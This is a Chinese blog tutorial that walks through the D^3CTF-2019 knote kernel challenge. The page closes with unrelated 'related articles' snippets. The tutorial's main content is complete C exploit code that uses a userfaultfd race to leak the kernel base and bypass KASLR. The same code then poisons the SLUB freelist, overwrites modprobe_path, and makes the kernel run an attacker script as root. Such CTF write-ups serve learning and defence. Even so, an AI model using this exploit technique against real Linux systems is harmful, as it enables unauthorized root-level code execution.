Kernel pwn 入门 (7)

news/2024/10/23 5:43:03/

本篇文章中,我们会练习回顾上一篇文章中学到的userfaultfd利用方式,同时学习一种新的利用方式:modprobe_path。使用的例题是:D^3CTF-2019 knote,需要两种利用配合使用。下面我们对本题进行分析。题目下载地址:下载。再次感谢Arttnba3师傅的博客。

0x1: .ko文件分析

当然,在利用之前,我们首先还是需要将这个ko文件过一遍。

file_operations


可以看到fops中定义有ioctl函数和open函数的入口,另外由于release函数的起始地址为0,因此这里的所有0都可以看做release函数入口。

ioctl

分析ioctl函数可知,一共定义了以下几种入口:

cmd=0x2333: 执行get函数
cmd=0x1337: 执行add函数
cmd=0x6666: 执行dele函数
cmd=0x8888: 执行edit函数

get


出现了一个mychunk的东西,因此本题和堆有关系。前面if的意思应该是所有chunk的数量不能超过9。在函数中还出现了一个copy_user_generic_unrolled函数,查看源码可知其第一个参数是dest,第二个参数是src,第三个参数是count,和copy_to_usercopy_from_user功能相似。这里看到ptr实际上是get函数的第二个参数,因此也就是将第二个参数(用户地址)中的内容拷贝到mychunk.ptr中。


这就是chunk的结构,其中_anon_0的名字很长的类型是一个联合体,有sizeidx两个类型可以表示,为方便将类型名改为info

因此,get函数就是从用户内存中拷贝内容到分配好的chunk中。

add


add函数中,可以看到在一开始加了一个读锁。在之后又加了一个写锁。

函数中还调用了_InterlockedExchangeAdd函数,笔者查到的文章中关于这个函数都是Windows下的API,大概的含义是线程互锁下的相加操作。这里将读写锁的值减去200,原因暂时未知。

之后则是通过kmalloc进行内核堆空间分配,后面的my_rwlock.raw_lock._anon_0._anon_0.wlocked = 0;应该表示的是解除写锁。

dele


堆空间释放函数同样使用了读写锁,在释放之后将sizeptr均清空。

edit


这里同样使用了copy_user_generic_unrolled这个函数,但根据参数来判断,这里应该是和copy_to_user函数的含义相同。

knote_open


在这个函数中,通过raw_write_lock函数设定my_rwlock为写锁,不允许其他线程读写in_use

0x2. init和start.sh文件分析

#!/bin/sh
echo "{==DBG==} INIT SCRIPT"mount -t proc none /proc
mount -t sysfs none /sys
mkdir /dev/pts
mount -t devpts devpts /dev/ptsmdev -s
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod note.ko
mknod /dev/knote c 10 233
chmod 666 /dev/knote
chmod 666 /dev/ptmx
chown 0:0 /flag
chmod 400 /flagpoweroff -d 120 -f &chroot . setuidgid 1000 /bin/sh #normal userumount /proc
umount /sys
poweroff -d 0  -f

在init文件中,有一些常规的保护措施,如这里的kptr_restrictdmesg_restrict,都设为1表示对普通用户有限制作用而对root用户没有,因此调试时修改为root用户可以查看kallsyms文件。与之前的题一样,在调试时通过将uid改为0方便调试。

#!/bin/sh
cd /home/ctf
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-monitor /dev/null \
-smp cores=2,threads=1 \
-cpu qemu64,+smep,+smap

在start.sh文件中,可以看到开启了kaslr、smp保护。添加上-s选项以供调试。

0x3. 交互编写

通过ioctl函数可知,mychunk实际上就是我们传入ioctl函数的第三个参数,这个chunk结构体会被根据不同的函数进行不同的操作。因此我们可以先将程序的交互写好,再去分析具体的漏洞。

#define GET 0x2333
#define ADD 0x1337
#define EDIT 0x8888
#define DEL 0x6666int fd;void get(int index, char* buffer){input in = {.info = {.index = index,},.buf = buffer,};ioctl(fd, GET, &in);
}void add(int size){input in = {.info = {.size = size,},};ioctl(fd, ADD, &in);
}void dele(int index){input in = {.info = {.index = index,}};ioctl(fd, DEL, &in);
}void edit(int index, char* buffer){input in = {.info = {.index = index,},.buf = buffer,};ioctl(fd, EDIT, &in);
}

0x4. 漏洞分析与利用

1. 通过userfaultfd获取内核基地址

在本题中,核心的操作就是getaddeditdele这4个。其中getedit函数没有加锁,deleadd都加了写锁。通过getedit函数可以传入一个mmap出来的用户空间,然后触发userfaultfd。那么在条件竞争的这个时间窗口,我们又需要做什么呢?和上一题相似,也是重复打开/dev/ptmx文件,尝试使用同样的方法进行利用。下面是我们的第一个测试程序(kernel.h请参考资料中提到的通用kernel pwn板子,print_binary请参考笔者之前的kernel pwn文章):

//
// Created by ubuntu on 22-10-5.
//
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "kernel.h"typedef struct input{union{size_t size;size_t index;}info;char* buf;
}input;#define GET 0x2333
#define ADD 0x1337
#define EDIT 0x8888
#define DEL 0x6666
#define TTY_STRUCT_SIZE 0x2E0int fd;
static char* faultBuffer;void get(int index, char* buffer){input in = {.info.index = index,.buf = buffer,};ioctl(fd, GET, &in);
}void add(int size){input in = {.info.size = size,};ioctl(fd, ADD, &in);
}void dele(int index){input in = {.info.index = index,};ioctl(fd, DEL, &in);
}void edit(int index, char* buffer){input in = {.info.index = index,.buf = buffer,};ioctl(fd, EDIT, &in);
}static char *page = NULL;
static long page_size;static void *
fault_handler_thread(void *arg)
{struct uffd_msg msg;int fault_cnt = 0;long uffd;struct uffdio_copy uffdio_copy;ssize_t nread;uffd = (long) arg;for (;;){struct pollfd pollfd;int nready;pollfd.fd = uffd;pollfd.events = POLLIN;nready = poll(&pollfd, 1, -1);if (nready == -1)errExit("poll");nread = read(uffd, &msg, sizeof(msg));puts(GREEN "Parent process stopped here." CEND);sleep(5);if (nread == 0)errExit("EOF on userfaultfd!\n");if (nread == -1)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("Unexpected event on userfaultfd\n");uffdio_copy.src = (unsigned long) page;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &~(page_size - 1);uffdio_copy.len = page_size;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");return NULL;}
}int main(){saveStatus();page_size = sysconf(_SC_PAGE_SIZE);page = malloc(0x1000);memset(page, '0', 0x1000);faultBuffer = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);registerUserFaultFd(faultBuffer, 0x1000, (void*)fault_handler_thread);int shellFile = open("/getFlag", O_RDWR | O_CREAT);char* shellCode = "#!/bin/sh\n""chmod 777 /flag";write(shellFile, shellCode, strlen(shellCode));close(shellFile);system("chmod +x /getFlag");fd = open("/dev/knote", O_RDWR);add(TTY_STRUCT_SIZE);int pid = fork();if(pid < 0)errExit("Fork failed");else if(pid == 0){puts(GREEN "Child process sleeping..." CEND);sleep(2);puts(GREEN "Ready to delete note in child process..." CEND);dele(0);sleep(1);puts(GREEN "Ready to open /dev/ptmx in child process..." CEND);open("/dev/ptmx", O_RDWR);exit(0);}elseget(0, faultBuffer);print_binary(faultBuffer, TTY_STRUCT_SIZE);
}


上图就是通过userfaultfd阻塞后获取到的部分内存内容,可以发现虽然/dev/ptmx打开之后分配了ptm_unix98_opspty_unix98_ops,但是并没有出现tty_operations中特有的魔数。


但是在0x2B0的偏移处我们发现了一个可疑的值:0xffffffff91bd4ef0。为什么说这个值很可疑呢?如果我们使用cat /proc/kallsyms命令获取标识符的地址时不难发现,绝大多数内核的标识符地址都是以8个f开头的,而在我们获取到的地址中只有这一个值前面跟上了8个f,因此我们有理由怀疑这个地址有可能是某个标识符的地址,而不需要对我们获取的其他值通过
cat /proc/kallsyms | grep xxx来进行查找了。从上面的图中我们也可以看到,这个值也确实是一个标识符的值:do_SAK_work,我们不需要管这个标识符的作用是什么,但通过这个标识符我们就已经能够获取到内核的基址,绕过KASLR保护了。


在IDA中,我们可以获取到do_SAK_work在未KASLR时的地址。


需要注意的是,本题中do_SAK_work这个地址并不是每一次都会出现,而且有可能尝试很多次都是什么都没有读取到,需要进行多次尝试才能获取该地址。

2. 通过modprobe_path进行利用

在获取了内核的基地址之后,我们就需要使用一个新的利用方式——modprobe_path来进行后面的利用了。

(节选自arttnba3师傅的博客)

当我们尝试去执行(execve)一个非法的文件(file magic not found),内核会经历如下调用链

entry_SYSCALL_64()sys_execve()do_execve()do_execveat_common()bprm_execve()exec_binprm()search_binary_handler()__request_module() // wrapped as request_modulecall_modprobe()

由于本题的kernel版本为5.3.6,因此我们找到这个版本的call_modprobe函数看一下:

// kernel/kmod.c line 70
static int call_modprobe(char *module_name, int wait)
{struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);if (!argv)goto out;module_name = kstrdup(module_name, GFP_KERNEL);if (!module_name)goto free_argv;argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name;	/* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;return call_usermodehelper_exec(info, wait | UMH_KILLABLE);free_module_name:kfree(module_name);
free_argv:kfree(argv);
out:return -ENOMEM;
}

其中modprobe_path被定义在data段中,值为/sbin/modprobe。而call_usermodehelper_exec函数会以root权限执行这个程序。由于data段可写,因此如果能够将modprobe_path的值改写,就可以执行任意shell脚本了。

那么应该如何修改modprobe_path呢?这里就需要用到我们对于slub内核内存分配系统的理解了。在前面笔者并没有对linux内核的内存分配系统作详尽的解释,可以参考下面的资料进行了解,后面笔者也会进行进一步的学习和分析:

页框分配器
SLAB概述
SLUB概述

在本题中,我们只需要清楚SLUB分配器的一个特性:SLUB分配器中有多个内存块(笔者称作cache),在一个被释放的cache的最前面保存的是下一个可用的cache地址,也就是说,如果我们能够利用条件竞争漏洞去修改一个已经被释放的cache的最前8个字节,那么下一次分配能够分配到该chunk的话,再下一次就能够分配到任一地址去。也正是利用这个特性,我们可以将modprobe_path的地址写到被释放的cache中,然后再进行两次分配即可分配到modprobe_path处的地址,并通过edit函数随意进行改写。有关于Linux内核内存分配机制,笔者将会在下一篇文章中进行详细介绍,这里我们只需要知道上面这一点就可以了。同时还需要注意的是,在分配到modprobe_path之后,由于我们已经破坏了SLUB的结构,因此如果直接结束进程,会导致kernel panic,本题中我们只需要在modprobe_path利用之前编写一个脚本将flag文件的权限改成777,后利用条件竞争漏洞将modprobe_path修改为这个脚本的路径,然后执行一个非法文件触发modprobe_path漏洞,以root权限执行这个脚本,后面我们就能够直接通过read读取flag文件的内容了。因此本题的利用方式并不是提权

如此一来,思路就清晰了,exp自然就信手拈来了。

//
// Created by ubuntu on 22-10-5.
//
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "kernel.h"typedef struct input{union{size_t size;size_t index;}info;char* buf;
}input;#define GET 0x2333
#define ADD 0x1337
#define EDIT 0x8888
#define DEL 0x6666
#define TTY_STRUCT_SIZE 0x2E0#define DO_SAK_WORK_ADDR 0xFFFFFFFF815D4EF0
#define COMMIT_CREDS 0xFFFFFFFF810B3040
#define PREPARE_KERNEL_CRED 0xFFFFFFFF810B3390
#define MODPROBE_PATH 0xFFFFFFFF8245C5C0int fd;
static char* faultBuffer;void get(int index, char* buffer){input in = {.info.index = index,.buf = buffer,};ioctl(fd, GET, &in);
}void add(int size){input in = {.info.size = size,};ioctl(fd, ADD, &in);
}void dele(int index){input in = {.info.index = index,};ioctl(fd, DEL, &in);
}void edit(int index, char* buffer){input in = {.info.index = index,.buf = buffer,};ioctl(fd, EDIT, &in);
}static char *page = NULL;
static long page_size;static void *
fault_handler_thread(void *arg)
{struct uffd_msg msg;int fault_cnt = 0;long uffd;struct uffdio_copy uffdio_copy;ssize_t nread;uffd = (long) arg;for (;;){struct pollfd pollfd;int nready;pollfd.fd = uffd;pollfd.events = POLLIN;nready = poll(&pollfd, 1, -1);if (nready == -1)errExit("poll");nread = read(uffd, &msg, sizeof(msg));puts(GREEN "Parent process stopped here." CEND);sleep(5);if (nread == 0)errExit("EOF on userfaultfd!\n");if (nread == -1)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("Unexpected event on userfaultfd\n");uffdio_copy.src = (unsigned long) page;uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &~(page_size - 1);uffdio_copy.len = page_size;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");return NULL;}
}int main(){saveStatus();page_size = sysconf(_SC_PAGE_SIZE);page = malloc(0x1000);memset(page, '0', 0x1000);faultBuffer = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);registerUserFaultFd(faultBuffer, 0x1000, (void*)fault_handler_thread);int shellFile = open("/getFlag", O_RDWR | O_CREAT);char* shellCode = "#!/bin/sh\n""chmod 777 /flag";write(shellFile, shellCode, strlen(shellCode));close(shellFile);system("chmod +x /getFlag");fd = open("/dev/knote", O_RDWR);add(TTY_STRUCT_SIZE);int pid = fork();if(pid < 0)errExit("Fork failed");else if(pid == 0){puts(GREEN "Child process sleeping..." CEND);sleep(2);puts(GREEN "Ready to delete note in child process..." CEND);dele(0);sleep(1);puts(GREEN "Ready to open /dev/ptmx in child process..." CEND);open("/dev/ptmx", O_RDWR);exit(0);}elseget(0, faultBuffer);print_binary(faultBuffer, TTY_STRUCT_SIZE);u_int64_t do_sak_work = *((u_int64_t*)(faultBuffer + 0x2B0));if(!do_sak_work)errExit("Failed to get do_SAK_work!");printf(GREEN "Successfully got address of do_SAK_work: %#zx" CEND, do_sak_work);u_int64_t offset = do_sak_work - DO_SAK_WORK_ADDR;  // offset gotcommit_creds = offset + COMMIT_CREDS;               // get address of commit_credsprepare_kernel_cred = offset + PREPARE_KERNEL_CRED; // get address of prepare_kernel_credu_int64_t modprobe_path = offset + MODPROBE_PATH;   // get address of modprobe_pathadd(0x100);memcpy(page, &modprobe_path, 8);pid = fork();if(pid < 0)errExit("Fork failed");else if(pid == 0){puts(GREEN "Child process sleeping..." CEND);sleep(2);puts(GREEN "Ready to delete note in child process..." CEND);dele(0);sleep(1);puts(GREEN "Ready to open /dev/ptmx in child process..." CEND);open("/dev/ptmx", O_RDWR);exit(0);}elseedit(0, page);add(0x100);add(0x100);     // this cache allocates to modprobe_pathedit(1, "/getFlag");system("echo -e '\xff\xff\xff\xff' > /hook");system("chmod +x /hook");system("/hook");sleep(1);int flag = open("/flag", O_RDWR);if(flag < 0)errExit("Failed to open flag file!");char flagContent[0x50] = {0};read(flag, flagContent, 0x50);write(1, flagContent, 0x50);system("/bin/sh");	// to prevent kernel panicreturn 0;
}

图中的this is example就是flag。


http://www.ppmy.cn/news/468532.html

相关文章

elementui el-image组件 点击预览图片

效果&#xff1a;点击单个图片&#xff0c;查看大图 <template><el-container class"platform-list-page"><el-main class"stationList"><data-tableref"DataTable":default-show-type"defaultShowType":default…

IPS、VA、TN屏构造和优缺点对比

转自https://display.ofweek.com/2018-05/ART-8321303-8500-30227810.html

送福利,价值1000的低蓝光护眼IPS显示屏,写代码神器!

快过年了&#xff0c; 为回馈各位老铁长期的关注与支持&#xff0c; 让大家能够更好的体验到编码的乐趣&#xff0c;提高技术水平&#xff0c; 直接送一个 低蓝光护眼IPS显示屏 &#xff01; 价值 1000 元&#xff0c; 简直美滋滋&#xff0c; 无论是自己用&#xff0c;还是当礼…

智慧屏鸿蒙哪个版本最好,高端技术下放毫不吝啬!华为智慧屏SE系列评测:鸿蒙OS让入门大屏也好用...

五、画质体验&#xff1a;在这块4K大屏上 超群的广色域覆盖是最大优势 对于大屏显示设备而言&#xff0c;更多人还是关注其画质体验。华为智慧屏SE系列搭载了一块LCD材质的屏幕&#xff0c;分辨率为4K&#xff0c;具备DCI-P3广色域。而且同价位段普通电视的色域覆盖率通常为DCI…

科普:什么是IPS

转自&#xff1a;http://tieba.baidu.com/p/3013646443 最近换了个笔记本&#xff0c;在性能参数上做足了功课。也费了不少劲。今天转载一篇对于IPS讲的挺实际&#xff0c;但是又理解的帖子&#xff0c;以供日后查阅。 第一&#xff0c;什么是IPS&#xff1f; 众所周知&#…

PC - IPS 屏幕到底哪里好?

如今液晶显示器已经几乎完全占据了显示领域&#xff0c;而在这个领域中&#xff0c;“IPS”这个名词也在大行其道&#xff0c;很多高端笔记本都可以选配IPS屏幕&#xff0c;用户也趋之若鹜&#xff0c;但我们不禁要问&#xff0c;IPS屏幕到底哪里好&#xff1f;为此多掏一笔钱是…

防火墙和IPS有什么区别

防火墙 目前主流使用状态检测功能来检查报文链路状态的合法性&#xff0c;丢弃链路状态不合法的报文&#xff0c;核心基础是会话状态。当满足接入条件的用户流量第一次穿越防火墙时&#xff0c;会产生一个会话表项&#xff0c;该会话的后续报文将基于该会话表项进行转发。 防…

【twcc】学习2:cc-feedback包送去cc预估码率

继续学习1,学习1中是准备知识,实际操练是在本文的预估中。 主要是对照大神的神作第八章 学习。 大量引用了大神的内容。 学习1中,大神主要论述了发送侧如何构造cc-fb,等待收到rtcp-cc-fb后进行再更新,然后最终交给cc模块。 这是大神绘制的图片,总结的非常清晰到位: 大神…